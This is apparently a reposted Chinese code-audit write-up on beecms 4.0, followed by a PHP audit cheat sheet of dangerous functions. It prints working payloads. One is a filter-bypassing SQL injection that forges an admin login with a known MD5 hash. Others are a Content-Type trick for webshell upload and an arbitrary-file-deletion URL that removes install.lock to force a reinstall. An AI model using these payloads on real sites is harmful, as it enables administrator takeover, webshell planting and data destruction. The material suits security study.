[代码审计] beecms 4.0 漏洞总结

Posted 封于修x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[代码审计] beecms 4.0 漏洞总结相关的知识,希望对你有一定的参考价值。

目录

cms 脉络

程序目录结构

审计思路

后台登录页面 SQL 注入

报错注入

伪造登录

文件上传(一)

文件上传(二)

任意文件删除+重装漏洞


beecms 4.0 后台存在多个漏洞,登录页面存在一个 SQL 注入,可以伪造账号登录到后台,后台的管理功能存在文件上传和任意文件删除。

找到后台之后的 getshell 思路:利用 SQL 注入伪造账号登录到后台,然后上传 webshell。

cms 脉络

程序目录结构

把网站的目录和文件分为基础功能用户功能两类,基础功能的主要:

- admin     后台管理模块
- data      网站数据缓存目录
- includes  基础功能或基础类,比如 mysql 连接类、smtp 类、模板加载类
- template  静态文件目录
- upload    上传文件目录
- index.php 首页

用户功能包括网站呈现给用户使用的应用功能,或者是辅助功能,这些目录包括:

其他功能模块目录:
- ckeditor  富文本编辑器
- alone
- article   文章相关功能
- book
- down
- job
- member
- mx_form   留言、订单、联系等表单处理
- product  
- search    搜索
- sitemap

beecms 是一个老 cms,网站程序没有用到 MVC。这种"传统"的 cms 是各个功能模块的代码分散在自己的文件中(如果代码量比较多,还会拆分成几个文件),功能模块之间基本没有紧密的关联,也没有基础功能将它们结合在一起,想访问什么功能就直接 URL 访问对应的文件。根据这点,攻击者可以直接访问一些页面上没有呈现,或者说是被“遗落”的功能。而对于 MVC 网站,因为它有路由,限定用户所能访问的功能。

审计思路

对于这种 cms,我一般采用“通读重点文件”加“功能点定位”或“逆向追溯”的思路,重点在于几个文件,beecms 的 index.php:

define('CMS',true);
require_once('includes/init.php');
require_once('includes/fun.php');
require_once('includes/lib.php');
if(file_exists(DATA_PATH.'index_info.php'))include(DATA_PATH.'index_info.php');//首页配置缓存
$lang=isset($_GET['lang'])?$_GET['lang']:'';
$index_lang='';//默认首页语言
...

init.php 是网站程序的初始化文件,用于

  • 加载全局的常量;
  • 统一在入口处过滤输入数据;
  • 加载 SMTP 类、MySQL 连接类和模板类等具有基础功能的类。

fun.php 包含常用的工具函数,例如:

  • 上传文件处理函数;
  • 递归 addslashes() 函数;
  • htmlspecialchars() 函数的封装;
  • 检查登录函数;
  • ....

lib.php 包含的是获取网站数据的函数,MySQL 连接类定义了增删改查等基础功能的通用接口(方法),lib.php 的函数就是封装了这些方法。例如:

  • 获得客服信息
  • 获得表单信息
  • ...

这些重要文件被包含在用户功能文件的开头中,所以审代码时重点关注(init.php 先阅读,其他两个文件里面的函数被调用时再针对函数阅读)。

后台登录页面 SQL 注入

init.php 初始化文件中对 $GET、$POST、$REQUEST 和 $COOKIE 等用户数据的输入点做了过滤:

if (!get_magic_quotes_gpc())

    if (isset($_REQUEST))
    
        $_REQUEST  = addsl($_REQUEST);
    
    $_COOKIE   = addsl($_COOKIE);
	$_POST = addsl($_POST);
	$_GET = addsl($_GET);

addsl() 是递归 addlashes() 转义数组,代码:

function addsl($value)

    if (empty($value))
    
        return $value;
    
    else
    	
        return is_array($value) ? array_map('addsl', $value) : addslashes($value);
    

然而,在 admin/login.php 并没有包含 init.php,所以没有进行过滤,才导致 SQL 注入,登录功能的代码:

if ($action=='login') 
    // 显示登录页面
    ....
 //判断登录
elseif($action=='ck_login')
    global $submit,$user,$password,$_sys,$code;
    $submit=$_POST['submit'];
    $user=fl_html(fl_value($_POST['user']));
    $password=fl_html(fl_value($_POST['password']));
    $code=$_POST['code'];
    if(!isset($submit))
        msg('请从登陆页面进入');
    
    if(empty($user)||empty($password))
        msg("密码或用户名不能为空");
    
    if(!empty($_sys['safe_open']))
        foreach($_sys['safe_open'] as $k=>$v)
            if($v=='3')
                if($code!=$s_code)msg("验证码不正确!");
            
        
    
    check_login($user,$password);


elseif($action=='out')
    // 退出登录
    ....

$_POST['user'] 是用户名,作了两个函数处理,先看 fl_value():

function fl_value($str)
	if(empty($str))return;
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\\%|\\=|\\/\\*|\\*|\\.\\.\\/|\\.\\/| union | from | where | group | into |load_file|outfile/i','',$str);

只替换一次有关 SQL 注入的敏感字符串,可以双写绕过。再看 fl_html():

function fl_html($str)
	return htmlspecialchars($str);

XSS 漏洞的敏感字符过滤,htmlspecialchars() 函数默认只转义 &、< 和 >,对单双引号需要提供第二个参数,对 SQL 注入没有过滤的效果。

用户名 $user'和密码 $password 被传入到 check_login(),跟进:

function check_login($user,$password)
	$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");	
	$rel=empty($rel)?'':$rel[0];
	if(empty($rel))
		msg('不存在该管理用户','login.php');
	
	$password=md5($password);
	if($password!=$rel['admin_password'])
		msg("输入的密码不正确");
	
	if($rel['is_disable'])
		msg('该账号已经被锁定,无法登陆');
	
	
	$_SESSION['admin']=$rel['admin_name'];
	$_SESSION['admin_purview']=$rel['admin_purview'];
	$_SESSION['admin_id']=$rel['id'];
	$_SESSION['admin_time']=time();
	$_SESSION['login_in']=1;
	$_SESSION['login_time']=time();
	$ip=fl_value(get_ip());
	$ip=fl_html($ip);
	$_SESSION['admin_ip']=$ip;
	unset($rel);
	header("location:admin.php");

这个函数用于账号密码的校验并将登录状态记录到 session 中,可以看到第一条语句就是 SQL 注入点,$user 直接拼接到 SELECT 查询语句中。

报错注入

直接 payload 测试:

' anselectd extractvalue(1,concat(0x7e,(database()))) #

这里用 "select" 插在 "and" 字符串中间,因为我发现 preg_replace() 过滤条件替换的是 " and "(左右两边有空格),结果:

伪造登录

SELECT 查询语句同时返回查询到的用户名和密码,而不是分开两次查询(先查询是否用户名,再查询密码),所以可以伪造 "admin" 账号返回的密码。

payload:

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456

发送请求:

 登录成功并跳转。

文件上传(一)

用”功能点定位“的方式审计文件上传,先在后台寻找上传点:

上传文件,然后抓包分析,发现请求地址是 admin/admin_pic_upload.php,到这个文件定位上传文件的处理功能:

if(is_uploaded_file($v))
    $pic_info['tmp_name']=$v;
	$pic_info['size']=$_FILES['up']['size'][$k];
	$pic_info['type']=$_FILES['up']['type'][$k];
	$pic_info['name']=$_FILES['up']['name'][$k];
	$pic_name_alt=empty($is_alt)?'':$pic_alt[$k];
	$is_up_size = $_sys['upload_size']*1000*1000;

    $value_arr=up_img($pic_info,$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png'),$up_is_thumb,$up_thumb_width,$up_thumb_height,$logo=1,$pic_name_alt);
	
    //处理上传后的图片信息
	$pic_name=$value_arr['up_pic_name'];//图片名称空
	$pic_ext=$value_arr['up_pic_ext'];//图片扩展名
	$pic_title = $pic_alt[$k];//图片描述
	$pic_size = $value_arr['up_pic_size'];//图片大小
	$pic_path = $value_arr['up_pic_path'];//上传路径
	$pic_time = $value_arr['up_pic_time'];//上传时间
	$pic_thumb = iconv('GBK','UTF-8',$value_arr['thumb']);//缩略图
	$cate = empty($pic_cate)?1:$pic_cate;//图片栏目
	
    //入库
    $sql="insert into ".DB_PRE."uppics (pic_name,pic_ext,pic_alt,pic_size,pic_path,pic_time,pic_thumb,pic_cate) values ('".$pic_name."','".$pic_ext."','".$pic_title."','".$pic_size."','".$pic_path."','".$pic_time."','".$pic_thumb."',".$cate.")";
    $mysql->query($sql);

先获取一些文件的基本信息,然后执行 up_img(),这个函数就是处理上传文件并移动的地方,跟进:

function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt='')
		if(file_exists(DATA_PATH.'sys_info.php'))include(DATA_PATH.'sys_info.php');
		if(is_uploaded_file($file['tmp_name']))
		if($file['size']>$size)
			msg('图片超过'.$size.'大小');
		
		$pic_name=pathinfo($file['name']);//图片信息
		
		$file_type=$file['type'];
		if(!in_array(strtolower($file_type),$type))
			msg('上传图片格式不正确');
		
		$path_name="upload/img/";
		$path=CMS_PATH.$path_name;
		if(!file_exists($path))
			@mkdir($path);
		
		$up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt;
		$up_file_name2=iconv('UTF-8','GBK',$up_file_name);
		$file_name=$path.$up_file_name2.'.'.$pic_name['extension'];
		
		if(file_exists($file_name))
			msg('已经存在该图片,请更改图片名称!');//判断是否重名
		
		
		$return_name['up_pic_size']=$file['size'];//上传图片大小
		$return_name['up_pic_ext']=$pic_name['extension'];//上传文件扩展名
		$return_name['up_pic_name']=$up_file_name;//上传图片名
		$return_name['up_pic_path']=$path_name;//上传图片路径
		$return_name['up_pic_time']=time();//上传时间
		unset($pic_name);
		//开始上传
		if(!move_uploaded_file($file['tmp_name'],$file_name))
			msg('图片上传失败','',0);
		
        .....

只做了文件大小和 MIME 类型的校验,所以能绕过,只需要 burpsuite 改一下 Content-Type 即可。

上传脚本后,接着是找到脚本的文件名和路径,这可以在 HTML 代码中找到:

拼接 upload 目录访问:

文件上传(二)

在我浏览后台所有的功能时,发现一个管理上传附件的功能,但是找到没有上传附件的按钮。这时,直接访问”上传附件“的页面即可:

与上传图片类似,上传附件的处理在一个 up_file() 函数中:

<?php
echo "Hello World !";?>

function up_file($file,$size,$type,$path='',$name='') 
	$return_arr=array();
	if(is_uploaded_file($file['tmp_name'])) 
		if($file['size']>$size) 
			msg('文件超过'.$size.'大小');
		
		$pic_name=pathinfo($file['name']);
		$file_type=$pic_name['extension'];
		$return_arr['ext'] = $pic_name['extension'];
		//扩展名
		$return_arr['size'] = $file['size'];
		//大小
		if(!in_array($file_type,$type)) 
			msg('上传文件格式不正确'.$file_type);
		
		$path=empty($path)?CMS_PATH."upload/file/":CMS_PATH.$path.'/';
		if(!file_exists($path)) 
			@mkdir($path);
		
		$name=$pic_name['filename'].'-'.date('YmdHis');
		$name2=iconv('UTF-8','GBK',$name);
		$file_name=$path.$name2.'.'.$pic_name['extension'];
		$file_name2=$path.$name.'.'.$pic_name['extension'];
		if(file_exists($file_name)) 
			msg('已经存在该附件,请更改附件名称!');
			//判断是否重名
		
		unset($pic_name);
		if(!move_uploaded_file($file['tmp_name'],$file_name)) 
			msg('文件上传失败');
		
		$return_name=str_replace(CMS_PATH,"",$file_name2);
		//$return_name=CMS_SELF.$return_name;
		$return_arr['file'] = $return_name;
		//上传文件路径
		$return_arr['time'] = time();
		//上传时间
	 else 
		msg('文件不能为空');
	
	//存储相关信息
	return $return_arr;

做了文件大小和文件扩展名的校验,对于文件扩展名校验的绕过,可以在后台的“允许上传的文件类型”添加 php:

这样一来就能上传 php 脚本了。

任意文件删除+重装漏洞

全局搜索 ”unlink“ 关键词,在 admin/admin_ajax.php 处找到一处代码:

define('IN_CMS','true');
include('init.php');
$action=empty($_REQUEST['action'])?'action':$_REQUEST['action'];
$lang = $_REQUEST['lang'];
$value=$_REQUEST['value'];

if($action=='lang_tag')
    ...

//排序
elseif($action=='order')
    ...

//判断频道标示
elseif($action=='check_channel')
    ...

elseif($action=='check_table')
    ...

//开启关闭
elseif($action=='is_show')
    ...

//删除图片
elseif($action=='del_pic')
    $file=CMS_PATH.'upload/'.$value;
	@unlink($file);
	die("图片成功删除");

//修改图片alt
elseif($action=='change_pic_alt')
   ...

//其它操作
else
	die('没有参数');

echo PW;
    

if 多条件分支结构根据 action 参数定位到对应的增删改查等功能,对于这种代码,直接审计某个功能的条件分支即可,反正 action 参数是可控的,能执行到目标代码处。

可以看到 $file 参数是一个拼接的文件路径,再追溯 $value 是否可控,发现 $value 由 $REQUEST['value'] 直接赋值。然而,重点是开头包含的 init.php 文件里面是否对参数进行过滤。经过审计,发现没有字符串替换或者其他处理,所以可执行任意文件删除。

payload:

/admin/admin_ajax.php?value=../test.php&action=del_pic

结果:

删除成功。

配合这个漏洞,如果目标网站没有删除 install 目录,那么就可以删除掉 install.lock 文件,然后访问 install 目录执行重装功能。不过,在重装时写入的数据库配置信息经过 addslashes() 转义,并且配置文件的代码用了单引号:

如果是双引号,可以写入 $ eval($_POST['cmd']),而这里是单引号,所以无法 getshell。但是,可以造成 SQL 二次注入:

不过,数据库都重装了,即使能获取原来数据库表的数据,操作也相当繁琐。

php代码审计小总结

php代码审计小总结

命令执行

php代码执行

  • eval()
  • assert()
  • preg_replace + ‘/e’
  • call_user_func()
  • call_user_func_array()
  • create_function
  • array_map()

系统命令执行

  • system()
  • passthru()
  • exec()
  • pcntl_exec()
  • shell_exec()
  • popen()
  • proc_open()
  • `(反单引号)
  • ob_start()
  • escapeshellcmd() // 该函数用于过滤

文件上传

  • move_uploaded_file()
  • getimagesize() //验证文件头只要为GIF89a,就会返回真

文件删除

  • unlink()
  • session_destroy()

文件包含

本地文件包含

  • require()
  • include()
  • include_once()
  • require_once()

远程文件包含

  • allow_url_include = on

文件读取

读文件

  • hightlight_file($filename);
  • show_source($filename);
  • print_r(php_strip_whitespace($filename));
  • print_r(file_get_contents($filename));
  • readfile($filename);
  • print_r(file($filename)); // var_dump
  • fread(fopen(filenam**e,”r”),filename,”r”),size);
  • include($filename); // 非php代码
  • include_once($filename); // 非php代码
  • require($filename); // 非php代码
  • require_once($filename); // 非php代码
  • print_r(fread(popen(“cat flag”, “r”), $size));
  • print_r(fgets(fopen($filename, “r”))); // 读取一行
  • fpassthru(fopen($filename, “r”)); // 从当前位置一直读取到 EOF
  • print_r(fgetcsv(fopen(filenam**e,”r”),filename,”r”),size));
  • print_r(fgetss(fopen($filename, “r”))); // 从文件指针中读取一行并过滤掉 HTML 标记
  • print_r(fscanf(fopen(“flag”, “r”),”%s”));
  • print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

列目录

  • print_r(glob(“*”)); // 列当前目录
  • print_r(glob(“/*”)); // 列根目录 print_r(scandir(“.”));
  • print_r(scandir(“/“));
  • $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\\n";}
  • $d=dir(".");while(false!==($f=$d->read())){echo$f."\\n";}

超全局变量

变量覆盖

  • extract()
  • import_request_variables()
  • parse_str()
  • mb_parse_str()
  • 全局变量覆盖:register_globals为ON,$GLOBALS

php序列化函数

  • serialize()
  • unserialize()
  • ini_set(‘session.serialize_handler’, ‘php_serialize’);

Reference

以上是关于[代码审计] beecms 4.0 漏洞总结的主要内容,如果未能解决你的问题,请参考以下文章

“OWASP Top 10 2017”之外常见漏洞的代码审计

ASP代码审计 -4.命令执行漏洞总结

CICD-代码审计(漏洞扫描工具-代码审计静态代码分析和安全检测-代码覆盖率)

Python代码审计实战案例总结之反序列化和命令执行!

PHP代码审计18—PHP代码审计小结

2020/1/29 PHP代码审计之XSS漏洞